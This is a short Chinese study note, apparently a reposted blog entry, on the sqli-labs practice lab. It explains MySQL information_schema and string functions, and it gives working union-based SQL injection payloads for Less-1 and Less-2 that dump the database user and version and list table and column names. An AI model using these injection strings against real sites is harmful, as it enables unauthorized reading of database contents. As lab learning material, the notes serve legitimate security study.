Sqli-labs--学习笔记

数据库的连接函数:concat和concat_ws;
concat_ws的第一个参数是连接字符串的分隔符。
user():返回当前数据库连接使用的用户
database():返回当前数据库连接使用的数据库
version():返回当前数据库的版本
127.0.0.1/sqli-labs/Less-1/?id=-1’ union select 1,2,concat_ws(char(32,58,32),user(),database(),version())%23

系统数据库information_schema,记录当前数据库的数据库,表,列,用户权限等信息

SCHEMATA:储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等

TABLES:储存mysql中的表信息,包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。

COLUMNS:存储mysql中表的列信息,包括这个表的所有列以及每个列的信息,该列是表中的第几列,列的数据类型,列的编码类型,列的权限,列的注释等。

查询information_schema中的信息时,使用where语句值不能直接使用英文,要用单引号包裹着,十六进制也可以。

union select 1,2,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 1,1%23
查看表的字段
union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479
查看表

group_concat()函数
完整语法如下

group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator '分隔符'])
这个的意思应该就是将字段拼合在一起吧。
示例:http://127.0.0.1/sqli-labs/Less-2/?id=0%20union%20select%201,2,group_concat(char(32),table_name,char(32))%20from%20information_schema.tables%20where%20table_schema=0x7365637572697479#
在sqli-labs第二关,将它们的表都爆了出来。

猜你喜欢

转载自blog.csdn.net/bt517840374/article/details/80328514